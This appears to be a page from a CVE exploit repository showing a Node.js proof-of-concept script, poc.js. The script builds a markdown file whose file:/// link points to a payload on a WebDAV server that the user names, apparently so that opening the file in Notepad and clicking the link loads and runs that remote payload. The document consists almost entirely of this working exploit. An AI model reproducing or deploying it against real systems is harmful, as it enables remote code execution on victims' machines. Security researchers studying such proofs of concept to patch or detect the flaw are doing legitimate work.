4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
'use strict';

const fs = require('fs');
const path = require('path');

function __main__(args)
{
  if(args.length !== 3)
  {
    console.log('Usage: node %s <webdav-server-host> <port> <server/path/to/payload>', path.basename(__filename));
    return 0;
  }

  let port = parseInt(args[1]);
  if(!isFinite(port) || port !== Number(args[1]) || port <= 0 || port >= 65536)
  {
    console.error('Invalid WebDAV server port!');
    return 1;
  }

  try
  {
    fs.writeFileSync('poc.md', `# PoC\n[Link](file:///\\\\${args[0]}@${port}\\DavWWWRoot\\${args[2]})\n`);
  }
  catch(err)
  {
    console.error(err);
    return 1;
  }

  console.log('Done! Run `notepad poc.md` to view the result!');
}

if(require.main === module)
{
  process.exitCode = __main__(process.argv.slice(2)) || 0;
}
else
{
  throw new Error('This is a standalone script!');
}